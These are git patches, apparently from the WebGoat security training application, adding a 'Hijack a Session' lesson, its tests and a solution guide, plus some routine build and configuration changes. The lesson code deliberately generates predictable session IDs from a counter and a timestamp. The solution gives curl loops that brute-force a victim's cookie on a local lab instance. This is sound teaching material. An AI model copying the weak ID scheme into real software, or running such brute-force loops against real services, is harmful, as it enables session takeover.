+import lombok.Builder; +import lombok.Getter; +import lombok.ToString; + +/** + * + * @author Angel Olle Blazquez + * + */ + +@Getter +@ToString +public class Authentication implements Principal { + + private boolean authenticated = false; + private String name; + private Object credentials; + private String id; + + @Builder + public Authentication(String name, Object credentials, String id) { + this.name = name; + this.credentials = credentials; + this.id = id; + } + + @Override + public String getName() { + return name; + } + + protected void setAuthenticated(boolean authenticated) { + this.authenticated = authenticated; + } + + protected void setId(String id) { + this.id = id; + } + +} diff --git a/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/AuthenticationProvider.java b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/AuthenticationProvider.java new file mode 100644 index 000000000..0db7cf40d --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/AuthenticationProvider.java @@ -0,0 +1,39 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession.cas; + +import java.security.Principal; + +/** + * + * @author Angel Olle Blazquez + * + */ + +@FunctionalInterface +public interface AuthenticationProvider { + + T authenticate(T t); + +} diff --git a/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProvider.java b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProvider.java new file mode 100644 index 000000000..63ca046f6 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProvider.java @@ -0,0 +1,100 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession.cas; + +import java.time.Instant; +import java.util.LinkedList; +import java.util.Queue; +import java.util.Random; +import java.util.concurrent.ThreadLocalRandom; +import java.util.function.DoublePredicate; +import java.util.function.Supplier; + +import org.apache.commons.lang3.StringUtils; +import org.springframework.stereotype.Component; +import org.springframework.web.context.annotation.ApplicationScope; + +/** + * + * @author Angel Olle Blazquez + * + */ + +// weak id value and mechanism + +@ApplicationScope +@Component +public class HijackSessionAuthenticationProvider implements AuthenticationProvider { + + private Queue sessions = new LinkedList<>(); + private static long id = new Random().nextLong() & Long.MAX_VALUE; + protected static final int MAX_SESSIONS = 50; + + private static final DoublePredicate PROBABILITY_DOUBLE_PREDICATE = pr -> pr < 0.75; + private static final Supplier GENERATE_SESSION_ID = () -> ++id + "-" + Instant.now().toEpochMilli(); + public static final Supplier AUTHENTICATION_SUPPLIER = () -> Authentication + .builder() + .id(GENERATE_SESSION_ID.get()) + .build(); + + @Override + public Authentication authenticate(Authentication authentication) { + if (authentication == null) { + return AUTHENTICATION_SUPPLIER.get(); + } + + if (StringUtils.isNotEmpty(authentication.getId()) && sessions.contains(authentication.getId())) { + authentication.setAuthenticated(true); + return authentication; + } + + if (StringUtils.isEmpty(authentication.getId())) { + authentication.setId(GENERATE_SESSION_ID.get()); + } + + authorizedUserAutoLogin(); + + return authentication; + } + + protected void authorizedUserAutoLogin() { + if (!PROBABILITY_DOUBLE_PREDICATE.test(ThreadLocalRandom.current().nextDouble())) { + Authentication authentication = AUTHENTICATION_SUPPLIER.get(); + authentication.setAuthenticated(true); + addSession(authentication.getId()); + } + } + + protected boolean addSession(String sessionId) { + if (sessions.size() >= MAX_SESSIONS) { + sessions.remove(); + } + return sessions.add(sessionId); + } + + protected int getSessionsSize() { + return sessions.size(); + } + +} diff --git a/webgoat-lessons/hijack-session/src/main/resources/html/HijackSession.html b/webgoat-lessons/hijack-session/src/main/resources/html/HijackSession.html new file mode 100644 index 000000000..223de6657 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/html/HijackSession.html @@ -0,0 +1,30 @@ + + + + + + + +
+
+
+ + +
+
+
+
+ +
+ +
+
+
+ +
+
+
+
+ + diff --git a/webgoat-lessons/hijack-session/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/hijack-session/src/main/resources/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..7d8972ae1 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/i18n/WebGoatLabels.properties @@ -0,0 +1,7 @@ +hijacksession.title=Hijack a session + +hijacksession.hints.1=Check the 'hijack_cookie' cookie value and think about its format. +hijacksession.hints.2=The 'hijack_cookie' is divided in two parts and has the following format '"long number"-"another long number"'. +hijacksession.hints.3=The 'hijack_cookie' is divided in two parts and has the following format '"sequential number"-"unix epoch time"'. +hijacksession.hints.4=Try to send multiple requests to force the creation of new cookies and check if there's any pattern. +hijacksession.hints.5=Sometimes, authorized users logs into the application. diff --git a/webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_content0.adoc b/webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_content0.adoc new file mode 100644 index 000000000..8b260b0da --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_content0.adoc @@ -0,0 +1,4 @@ += Hijack a Session + +In this lesson we are trying to predict the 'hijack_cookie' value. THe 'hijack_cookie' is used to differentiate authenticated and anonymous users of WebGoat. + diff --git a/webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_plan.adoc b/webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_plan.adoc new file mode 100644 index 000000000..dd5a74336 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_plan.adoc @@ -0,0 +1,10 @@ += Hijack a Session + +== Concept + +Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks. + + +== Goals + +Gain access to an authenticated session belonging to someone else. diff --git a/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/en/HijackSession_solution.adoc b/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/en/HijackSession_solution.adoc new file mode 100644 index 000000000..e76cd39d1 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/en/HijackSession_solution.adoc @@ -0,0 +1,93 @@ += Hijack a Session + +== Solution + +Some standard Linux tools have been used on this solution. + +=== Analysis + +Inspect the 'hijack_cookie' cookie value: + +[source, text] +---- +3814082160704930327-1636910266991 +---- + +The 'hijack_cookie' is divided in two parts and has the following format: + +**-** + +The first part of the cookie value is an identifier that increases by 1 in each cookie, and the part after the dash is a time value that is calculated when the request is submitted. + +Notice that there is sometimes a gap in the first value of the 'hijack_cookie', where one number (or more) is skipped. The missing value means that possibly some user logged in into the system and an authorized cookie has been generated and assigned to him. + +It's simple to spot where this value is if we know the cookie values between this valid user cookie. + +=== Brute forcing + +Send some clean request (without setting the hijack_cookie) to the /WebGoat/HijackSession/login endpoint. + +[source, sh] +---- +# command +for i in $(seq 1 10); do +curl 'http://localhost:8080/WebGoat/HijackSession/login' \ +-H 'Connection: keep-alive' \ +-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"' \ +-H 'Accept: */*' \ +-H 'X-Requested-With: XMLHttpRequest' \ +-H 'sec-ch-ua-mobile: ?0' \ +-H 'User-Agent: any' \ +-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ +-H 'Origin: http://localhost:8080' \ +-H 'Sec-Fetch-Site: same-origin' \ +-H 'Sec-Fetch-Mode: cors' \ +-H 'Sec-Fetch-Dest: empty' \ +-H 'Referer: http://localhost:8080/WebGoat/start.mvc' \ +-H 'Accept-Language: en-US,en;q=0.9' \ +-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW" \ +--data-raw 'username=&password=' \ +--compressed \ +--output /dev/null \ +-v +done + +# cookies +<...> +< Set-Cookie: hijack_cookie=3026815832223943295-1636913556701; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943296-1636913556848; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943297-1636913556998; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943299-1636913557143; path=/WebGoat; secure +<...> +---- + +Note: a valid WebGoat JSESSIONID has to be used. It can be obtained after logging in into WebGoat. + +The 'hijack_cookie' beginning with 3026815832223943298 is missing. This is the value we want, we just need to figure out the second part. + +So our timestamp is between 1636913556998 and 1636913557143. Now we just need a program to do brute force this for us. + +[source, sh] +---- +for i in $(seq 1636913556998 1636913557143); do +curl 'http://localhost:8080/WebGoat/HijackSession/login' \ +-H 'Connection: keep-alive' \ +-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"' \ +-H 'Accept: */*' \ +-H 'X-Requested-With: XMLHttpRequest' \ +-H 'sec-ch-ua-mobile: ?0' \ +-H 'User-Agent: any' \ +-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ +-H 'Origin: http://localhost:8080' \ +-H 'Sec-Fetch-Site: same-origin' \ +-H 'Sec-Fetch-Mode: cors' \ +-H 'Sec-Fetch-Dest: empty' \ +-H 'Referer: http://localhost:8080/WebGoat/start.mvc' \ +-H 'Accept-Language: en-US,en;q=0.9' \ +-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW; hijack_cookie=3026815832223943298-"$i"" \ +--data-raw 'username=&password=' \ +--compressed +done +---- + +One of those requests will be a valid login and the lesson will be marked as completed. diff --git a/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/html/HijackSession.html b/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/html/HijackSession.html new file mode 100644 index 000000000..ac8ab94d5 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/html/HijackSession.html @@ -0,0 +1,14 @@ + + + + + + +
+ + +
+
+ + + diff --git a/webgoat-lessons/hijack-session/src/main/resources/templates/hijackform.html b/webgoat-lessons/hijack-session/src/main/resources/templates/hijackform.html new file mode 100644 index 000000000..16370fd90 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/templates/hijackform.html @@ -0,0 +1,24 @@ +
+
+
+
+

Account Access

+
+
+ + +
+
+ +
+ +
+
+
+
+
diff --git a/webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/HijackSessionAssignmentTest.java b/webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/HijackSessionAssignmentTest.java new file mode 100644 index 000000000..19743825b --- /dev/null +++ b/webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/HijackSessionAssignmentTest.java @@ -0,0 +1,108 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession; + +import static org.hamcrest.Matchers.emptyString; +import static org.hamcrest.Matchers.not; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.lenient; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.cookie; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; + +import javax.servlet.http.Cookie; + +import org.hamcrest.CoreMatchers; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.mockito.Mock; +import org.mockito.junit.jupiter.MockitoExtension; +import org.owasp.webgoat.assignments.AssignmentEndpointTest; +import org.owasp.webgoat.hijacksession.cas.Authentication; +import org.owasp.webgoat.hijacksession.cas.HijackSessionAuthenticationProvider; +import org.springframework.test.util.ReflectionTestUtils; +import org.springframework.test.web.servlet.MockMvc; +import org.springframework.test.web.servlet.ResultActions; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@ExtendWith(MockitoExtension.class) +class HijackSessionAssignmentTest extends AssignmentEndpointTest { + + private MockMvc mockMvc; + private static final String COOKIE_NAME = "hijack_cookie"; + private static final String LOGIN_CONTEXT_PATH = "/HijackSession/login"; + + @Mock + Authentication authenticationMock; + + @Mock + HijackSessionAuthenticationProvider providerMock; + + HijackSessionAssignment assignment; + + @BeforeEach + void setup() { + assignment = new HijackSessionAssignment(); + init(assignment); + ReflectionTestUtils.setField(assignment, "provider", new HijackSessionAuthenticationProvider()); + mockMvc = standaloneSetup(assignment).build(); + } + + @Test + void testValidCookie() throws Exception { + lenient().when(authenticationMock.isAuthenticated()).thenReturn(true); + lenient().when(providerMock.authenticate(any(Authentication.class))).thenReturn(authenticationMock); + ReflectionTestUtils.setField(assignment, "provider", providerMock); + + Cookie cookie = new Cookie(COOKIE_NAME, "value"); + + ResultActions result = mockMvc.perform(MockMvcRequestBuilders + .post(LOGIN_CONTEXT_PATH) + .cookie(cookie) + .param("username", "") + .param("password", "")); + + result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true))); + + } + + @Test + void testBlankCookie() throws Exception { + ResultActions result = mockMvc.perform(MockMvcRequestBuilders + .post(LOGIN_CONTEXT_PATH) + .param("username", "webgoat") + .param("password", "webgoat")); + + result.andExpect(cookie().value(COOKIE_NAME, not(emptyString()))); + result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + + } + +} diff --git a/webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProviderTest.java b/webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProviderTest.java new file mode 100644 index 000000000..1ccaf5e01 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProviderTest.java @@ -0,0 +1,116 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession.cas; + +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.CoreMatchers.not; +import static org.hamcrest.MatcherAssert.assertThat; + +import java.util.stream.Stream; + +import org.apache.commons.lang3.StringUtils; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.owasp.webgoat.hijacksession.cas.Authentication.AuthenticationBuilder; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +class HijackSessionAuthenticationProviderTest { + + HijackSessionAuthenticationProvider provider = new HijackSessionAuthenticationProvider(); + + @ParameterizedTest + @DisplayName("Provider authentication test") + @MethodSource("authenticationForCookieValues") + void testProviderAuthenticationGeneratesCookie(Authentication authentication) { + Authentication auth = provider.authenticate(authentication); + assertThat(auth.getId(), not(StringUtils.isEmpty(auth.getId()))); + } + + @Test + void testAuthenticated() { + String id = "anyId"; + provider.addSession(id); + + Authentication auth = provider.authenticate(Authentication.builder().id(id).build()); + + assertThat(auth.getId(), is(id)); + assertThat(auth.isAuthenticated(), is(true)); + + auth = provider.authenticate(Authentication.builder().id("otherId").build()); + + assertThat(auth.getId(), is("otherId")); + assertThat(auth.isAuthenticated(), is(false)); + } + + @Test + void testAuthenticationToString() { + AuthenticationBuilder authBuilder = Authentication.builder() + .name("expectedName") + .credentials("expectedCredentials") + .id("expectedId"); + + Authentication auth = authBuilder.build(); + + String expected = "Authentication.AuthenticationBuilder(" + + "name=" + auth.getName() + + ", credentials=" + auth.getCredentials() + + ", id=" + auth.getId() + ")"; + + assertThat(authBuilder.toString(), is(expected)); + + expected = "Authentication(authenticated=" + auth.isAuthenticated() + + ", name=" + auth.getName() + + ", credentials=" + auth.getCredentials() + + ", id=" + auth.getId() + ")"; + + assertThat(auth.toString(), is(expected)); + + } + + @Test + void testMaxSessions() { + for (int i = 0; i <= HijackSessionAuthenticationProvider.MAX_SESSIONS + 1; i++) { + provider.authorizedUserAutoLogin(); + provider.addSession(null); + } + + assertThat(provider.getSessionsSize(), is(HijackSessionAuthenticationProvider.MAX_SESSIONS)); + } + + private static Stream authenticationForCookieValues() { + return Stream.of( + Arguments.of((Object) null), + Arguments.of(Authentication.builder().name("any").credentials("any").build()), + Arguments.of(Authentication.builder().id("any").build())); + } + +} diff --git a/webgoat-lessons/pom.xml b/webgoat-lessons/pom.xml index f483656ae..36a330a16 100644 --- a/webgoat-lessons/pom.xml +++ b/webgoat-lessons/pom.xml @@ -43,7 +43,7 @@ path-traversal spoof-cookie logging - + hijack-session diff --git a/webgoat-server/pom.xml b/webgoat-server/pom.xml index ae1315ab5..dec76bfd0 100644 --- a/webgoat-server/pom.xml +++ b/webgoat-server/pom.xml @@ -154,6 +154,11 @@ spoof-cookie ${project.version} + + org.owasp.webgoat.lesson + hijack-session + ${project.version} + org.owasp.webgoat.lesson webgoat-lesson-template From 5107e111bffd8114c63ded4dbb1b3ca7034dde63 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=80ngel=20Oll=C3=A9=20Bl=C3=A1zquez?= Date: Wed, 17 Nov 2021 23:08:52 +0100 Subject: [PATCH 103/227] test url fix --- .../src/test/java/org/owasp/webgoat/SessionManagementTest.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SessionManagementTest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SessionManagementTest.java index 458febbb8..1d086bbf4 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SessionManagementTest.java +++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SessionManagementTest.java @@ -35,7 +35,7 @@ import org.junit.jupiter.api.Test; class SessionManagementTest extends IntegrationTest { - private static final String HIJACK_LOGIN_CONTEXT_PATH = "/HijackSession/login"; + private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login"; @Test From 48fd7f310ea4ddda4f72578ca3a681ba6f53b7ac Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 23 Nov 2021 09:07:53 +0000 Subject: [PATCH 104/227] Bump actions/cache from 2.1.5 to 2.1.7 Bumps [actions/cache](https://github.com/actions/cache) from 2.1.5 to 2.1.7. - [Release notes](https://github.com/actions/cache/releases) - [Commits](https://github.com/actions/cache/compare/v2.1.5...v2.1.7) --- updated-dependencies: - dependency-name: actions/cache dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- .github/workflows/branch_build.yml | 4 ++-- .github/workflows/pr_build.yml | 2 +- .github/workflows/release.yml | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/branch_build.yml b/.github/workflows/branch_build.yml index ff1533f34..46d38723b 100644 --- a/.github/workflows/branch_build.yml +++ b/.github/workflows/branch_build.yml @@ -19,7 +19,7 @@ jobs: java-version: 17 architecture: x64 - name: Cache Maven packages - uses: actions/cache@v2.1.5 + uses: actions/cache@v2.1.7 with: path: ~/.m2 key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} @@ -45,7 +45,7 @@ jobs: java-version: 17 architecture: x64 - name: Cache Maven packages - uses: actions/cache@v2.1.5 + uses: actions/cache@v2.1.7 with: path: ~/.m2 key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} diff --git a/.github/workflows/pr_build.yml b/.github/workflows/pr_build.yml index 9823a87b2..1eee1f7b8 100644 --- a/.github/workflows/pr_build.yml +++ b/.github/workflows/pr_build.yml @@ -36,7 +36,7 @@ jobs: java-version: ${{ matrix.java }} architecture: x64 - name: Cache Maven packages - uses: actions/cache@v2.1.5 + uses: actions/cache@v2.1.7 with: path: ~/.m2 key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index e725c8fa3..74ad073da 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -25,7 +25,7 @@ jobs: architecture: x64 - name: Cache Maven packages - uses: actions/cache@v2.1.5 + uses: actions/cache@v2.1.7 with: path: ~/.m2 key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} From f8dda37027eec813f71c69a3ad60d89b5e6945d1 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 21 Nov 2021 12:26:31 +0100 Subject: [PATCH 105/227] Rename properties Rename `webwolf.url.*` to `webwolf.*.url` making it easier to move to a configuration class as no nested property is necessary --- .../src/main/resources/application-webgoat.properties | 4 ++-- .../org/owasp/webgoat/challenges/challenge7/Assignment7.java | 2 +- .../password_reset/ResetLinkAssignmentForgotPassword.java | 2 +- .../owasp/webgoat/password_reset/SimpleMailAssignment.java | 2 +- .../owasp/webgoat/webwolf_introduction/LandingAssignment.java | 2 +- .../owasp/webgoat/webwolf_introduction/MailAssignment.java | 2 +- .../xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java | 2 +- 7 files changed, 8 insertions(+), 8 deletions(-) diff --git a/webgoat-container/src/main/resources/application-webgoat.properties b/webgoat-container/src/main/resources/application-webgoat.properties index 3339d1ced..d873b1567 100644 --- a/webgoat-container/src/main/resources/application-webgoat.properties +++ b/webgoat-container/src/main/resources/application-webgoat.properties @@ -42,8 +42,8 @@ webgoat.default.language=en webwolf.host=${WEBWOLF_HOST:127.0.0.1} webwolf.port=${WEBWOLF_PORT:9090} webwolf.url=http://${webwolf.host}:${webwolf.port}/WebWolf -webwolf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing -webwolf.url.mail=http://${webwolf.host}:${webwolf.port}/mail +webwolf.landingpage.url=http://${webwolf.host}:${webwolf.port}/landing +webwolf.mail.url=http://${webwolf.host}:${webwolf.port}/mail spring.jackson.serialization.indent_output=true spring.jackson.serialization.write-dates-as-timestamps=false diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java index 5c1ee1fa5..0f33b7d96 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java @@ -46,7 +46,7 @@ public class Assignment7 extends AssignmentEndpoint { @Autowired private RestTemplate restTemplate; - @Value("${webwolf.url.mail}") + @Value("${webwolf.mail.url}") private String webWolfMailURL; @GetMapping("/challenge/7/reset-password/{link}") diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java index 6c0e54f33..eaae33bdb 100644 --- a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java @@ -52,7 +52,7 @@ public class ResetLinkAssignmentForgotPassword extends AssignmentEndpoint { private final String webWolfMailURL; public ResetLinkAssignmentForgotPassword(RestTemplate restTemplate, - @Value("${webwolf.url.mail}") String webWolfMailURL) { + @Value("${webwolf.mail.url}") String webWolfMailURL) { this.restTemplate = restTemplate; this.webWolfMailURL = webWolfMailURL; } diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/SimpleMailAssignment.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/SimpleMailAssignment.java index a5bd10b05..048f5e78c 100644 --- a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/SimpleMailAssignment.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/SimpleMailAssignment.java @@ -48,7 +48,7 @@ public class SimpleMailAssignment extends AssignmentEndpoint { private final String webWolfURL; private RestTemplate restTemplate; - public SimpleMailAssignment(RestTemplate restTemplate, @Value("${webwolf.url.mail}") String webWolfURL) { + public SimpleMailAssignment(RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfURL) { this.restTemplate = restTemplate; this.webWolfURL = webWolfURL; } diff --git a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/LandingAssignment.java b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/LandingAssignment.java index 2600c0271..c1477bdc2 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/LandingAssignment.java +++ b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/LandingAssignment.java @@ -43,7 +43,7 @@ import java.net.URISyntaxException; @RestController public class LandingAssignment extends AssignmentEndpoint { - @Value("${webwolf.url.landingpage}") + @Value("${webwolf.landingpage.url}") private String landingPageUrl; @PostMapping("/WebWolf/landing") diff --git a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/MailAssignment.java b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/MailAssignment.java index 8f6dbfebb..dd5967aa6 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/MailAssignment.java +++ b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/MailAssignment.java @@ -43,7 +43,7 @@ public class MailAssignment extends AssignmentEndpoint { private final String webWolfURL; private RestTemplate restTemplate; - public MailAssignment(RestTemplate restTemplate, @Value("${webwolf.url.mail}") String webWolfURL) { + public MailAssignment(RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfURL) { this.restTemplate = restTemplate; this.webWolfURL = webWolfURL; } diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java index 888bb25d3..c46b0504a 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java @@ -57,7 +57,7 @@ public class SimpleXXE extends AssignmentEndpoint { @Value("${webgoat.server.directory}") private String webGoatHomeDirectory; - @Value("${webwolf.url.landingpage}") + @Value("${webwolf.landingpage.url}") private String webWolfURL; From d496c929b3118875e35f822f46227901b0d10679 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 23 Nov 2021 09:54:51 +0100 Subject: [PATCH 106/227] Use variables to check WebWolf host and port WebWolf can start on a different port, the assignment should take this into account and not check for a hardcoded value. Resolves: #1055 --- .../ResetLinkAssignmentForgotPassword.java | 27 ++++++++++--------- 1 file changed, 15 insertions(+), 12 deletions(-) diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java 